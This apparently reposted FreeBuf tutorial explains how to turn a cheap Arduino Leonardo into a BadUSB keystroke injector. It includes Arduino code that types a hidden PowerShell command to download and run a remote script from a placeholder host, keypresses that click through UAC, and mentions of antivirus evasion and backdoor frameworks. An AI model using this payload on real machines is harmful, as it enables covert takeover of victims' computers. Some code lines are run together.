當前位置:
首頁 > 新聞 > 低成本玩轉硬體安全(一) | BadUSB on Arduino

低成本玩轉硬體安全(一) | BadUSB on Arduino

*本文原創作者:ya0guang,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


引言

鑒於硬體安全對於大多數新人是較少接觸的,而這方面又非常吸引我,但是部分專業安全研究設備較高的價格使人望而卻步。在該系列中,筆者希望對此感興趣的讀者在花費較少金錢的情況下體會到硬體安全的魅力所在。

本系列計劃分成四個部分:BadUSB on Arduino; RFID on PN532; GSM on Motorola C118 ; SDR on RTL2832U(電視棒)。


背景

BadUSB早在2014年底的PacSec會議上便已經提出,這是USB協議中的一個漏洞————USB設備可以偽裝成為其他任何設備,例如輸入設備、網卡等等。

這個漏洞目前還沒有得到修復,幾乎可以說在有合適的腳本的情況下,只要能夠插進去,沒有什麼是黑不掉的!

2014年的PPT參考如下:

https://srlabs.de/wp-content/uploads/2014/11/SRLabs-BadUSB-Pacsec-v2.pdf


常見硬體介紹


Psychson

事實上這是Github上的一個開源項目,由於世面上的部分U盤的晶元可以Hack,所以通過比較Geek的方式可以讓U盤實現BadUSB的功能。但是項目已經兩年沒有更新過了,支持的許多硬體也已經停產或者更換了新的主控晶元,筆者也嘗試著使用之但是失敗了。

偽裝性:★★★★★

易開發:★★

社區支持:★★

項目主頁:

https://github.com/brandonlw/Psychson


Rubber Ducky

中文名橡皮鴨,外觀酷(就)似(是)普通的U盤,但是卻藏著一顆蔫壞的芯。其結構如圖,特點在於可以拆卸並且使用SD卡,可以隨時更換Payload,而且十分容易偽裝!

以至於美劇 《Mr. Robot》里的主角用該設備成功引起了警察的注意(並黑掉了他。但是Hak5上的Rubber Ducky 需要45美刀,這無疑是筆者承受不起的!況且其配送地區還Ban了中國!不過其項目中的腳本還是很值得我們去參考學習的!

偽裝性:★★★★

易開發:★★★☆

社區支持:★★★★

Hak5鏈接:

https://hakshop.com/products/usb-rubber-ducky-deluxe

官方Payloads

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads


Teensy USB

一款USB微控制器開發板,想必便可以當作鍵盤滑鼠來用啦!可以看到部分款式也有插存儲卡的地方,價格總體上也達到了Rubber Ducky的一半,但是美刀對於我們而言還是略貴的!

偽裝性:★★

易開發:★★★

社區支持:★★★


Arduino Leonardo

這才是我們今天的主角,其以20-40RMB的售價成為了窮黑客的(我)的首選!而且Arduino的編程對初學者也相當的友好。 筆者的晶元如圖:

首先,我們需要對Arduino進行設置,更改「串口」和「開發板」選項:

下面開始編寫Payload。事實上Payload就是通過鍵盤來執行一系列的指令來達到某些目的,比如植入後門,反彈shell等。我們需要以此為思路進行程序的編寫。


啟動方式

程序的大致結構如下:


#include void setup() { //Payload}



void loop() { //none}


用到了一個Keyboard庫定義了按鍵,鍵盤上一些無法輸入的按鍵需要查看定義的名稱,其庫文件在github上也可以看到:
https://github.com/arduino-libraries/Keyboard/blob/master/src/Keyboard.h

其中對我們有用的只有setup,即板子上電,也就是插入的瞬間便開始執行的部分,loop部分留空。

筆者本人用的windos系統,這裡僅討論windos。若要在windows下僅僅通過鍵盤執行一段腳本或程序,最經典的方式就是Ctrl+R了。在windos8及以上的操作系統中Win鍵+S之後,輸入powershell或cmd,之後再按回車也可以開始寫命令。

代碼如下,蛋疼的地方在於中文的輸入法可以很大程度上避免被BadUSB攻擊,但是我們在腳本中也可以利用默認的一些快捷鍵切換到英文輸入法。再加上Windows系統不區分大小寫,從某些程度上講只用到大寫鎖定鍵足矣。


delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(500);//針對shift+ctrl切換輸入法Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_CTRL);//針對win8及以上部分操作系統改換中文輸入Keyboard.press(KEY_LEFT_GUI);
Keyboard.println(" ");//某些輸入法的中英文切換Keyboard.press(KEY_LEFT_SHIFT);//暴力直接切換成英文Keyboard.press(KEY_CAPS_LOCK)//手動釋放按鍵Keyboard.releaseAll();



powershell的各種姿勢

既然「運行」對話框已經打開,下一步需要做的便是執行代碼了。在這裡我們需要用到一些powershell啟動的高級姿勢。


啟動選項

在cmd或者powershell中輸入」powershell -?」便可以得到所有的啟動選項,這裡我們主要關注其中的兩個:ExecutionPolicy和WindowStyle。由於powershell的默認ExecutionPolicy是RemoteSigned。

即下載腳本必須可信,換句話說就是用戶腳本不能執行。所以我們需要設置該欄位為Unrestricted或者Bypass。而WindowStyle設置為Hidden時可以隱藏窗口執行,這對隱蔽性很有幫助。

例如,我們可以在運行中輸入:


powershell -executionpolicy bypass -windowstyle hidden ping www.baidu.com > d: est.txt


可以看到test.txt內容如下:


正在 Ping www.a.shifen.com [119.75.218.70] 具有 32 位元組的數據:
來自 119.75.218.70 的回復: 位元組=32 時間=23ms TTL=53
來自 119.75.218.70 的回復: 位元組=32 時間=23ms TTL=53
來自 119.75.218.70 的回復: 位元組=32 時間=24ms TTL=53
來自 119.75.218.70 的回復: 位元組=32 時間=23ms TTL=53

119.75.218.70 的 Ping 統計信息:
數據包: 已發送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
最短 = 23ms,最長 = 24ms,平均 = 23ms

除此之外,還可以直接從base64編碼執行,這樣可以直接bypass antivirus software。這是一種更為強大的運行姿勢。


遠程執行

事實上,bypass的目的真正是為了執行來自遠程伺服器的腳本。這裡有一個用法:


powershell -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString("http://your.site/file.ps1");


這裡牽扯到了powershell的強大之處,其可以直接創建對象。上面的意思是從下載一個遠程腳本並執行。顯然遠程腳本相對於把payload寫在一行更加優雅,而且更加靈活。最重要的原因還是此arduino開發板的存儲空間太小,並不能容納太長的腳本。

這裡推薦一個powershell的滲透框架:nishang

項目地址:https://github.com/samratashok/nishang

nishang的強大之處在於其幾乎可以實現一個後門可以實現的所有。

據筆者了解,metasploit也支持生產powershell的payload了。

公網上的powershell腳本可以通過github的raw瀏覽服務、一些在線的文本存儲服務,甚至是用ngrok做一個web伺服器的映射來完成臨時、隱蔽的發送。


Bypass UAC

後續的代碼如下,其中後面的部分是為了處理UAC,即一個彈出用戶確認的對話框。


Keyboard.println("powershell -ExecutionPolicy Bypass IEX (New-Object
Net.WebClient).DownloadString("http://your.site/file.ps1");");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2500);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.press(KEY_LEFT_ALT);
Keyboard.println("y");
Keyboard.releaseAll();
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1500)



結語

Powershell與BadUSB的結合可以在Windows下辦到很多事情,BadUSB的滲透方案也不僅僅限於鍵盤輸入,滑鼠輸入甚至網卡都是可以作為攻擊工具。筆者在Kali Nethunter上就見到了將手機作為網卡來嗅探流量的用法。

雖然距離漏洞正式發布已經過去了整整兩年時間,但是這一漏洞短時間內還將普遍存在於各大操作系統以及USB協議中,更高級的姿勢還需要自己去探索!


*本文原創作者:ya0guang,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


您的贊是小編持續努力的最大動力,動動手指贊一下吧!


本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

淺談拒絕服務攻擊的原理與防禦(3)| 反射DDOS攻擊利用代碼
下一個獵殺目標 | 近期大量MySQL資料庫遭勒索攻擊
scapy在wlan中的應用
卡巴斯基頂級安全專家叛國罪後續 | 7年前的案子,為何現在才提起?

TAG:FreeBuf |

您可能感興趣

硬體輕鬆超越MacBook Pro 微軟Surface Book增強版體驗
微軟Surface Pro 5首曝:硬體更新至Kaby Lake平台
HenCoder Android 自定義 View 1-8 硬體加速
Facebook任命重要高管領導Oculus、Building 8等消費硬體業務
Windows Store將更名為Microsoft Store,將開放購買硬體
Joe Belfiore 確認 Windows 10 Mobile 不再有新功能和新硬體
Windows Store即將更名為Microsoft Store,將開放購買硬體設備
Apple WWDC 2017-MacBook 家族硬體升級 Kaby Lake 處理器
並未放棄,Surface Phone有譜!曝微軟正開發全新Win10 Mobile系統及硬體
iPhone X硬體成本曝光,竟比iPhone 7貴上一倍!
Nintendo Switch 領跑 4 月北美硬體銷量榜
登陸自家硬體平台!Parties支持Oculus Rift了
Google 聯手樹莓派發布開源 AI 硬體——Voice Kit
Facebook正在上海尋找辦公場所 先給硬體團隊Building 8使用
頭號鮮肉Trevor Signorino 近年身材硬體最好的男模
Bridgetek提供MCU,HMI和I / O擴展硬體在 嵌入式系統設計
微軟Surface Pro 5細節首曝:硬體更新至Kaby Lake平台,設計變化不大
WWDC17 硬體信息曝光:新 iPad Pro,新 MacBook,新鍵盤?
Facebook任命消費硬體負責人Andrew主導Oculus、腦際介面等工作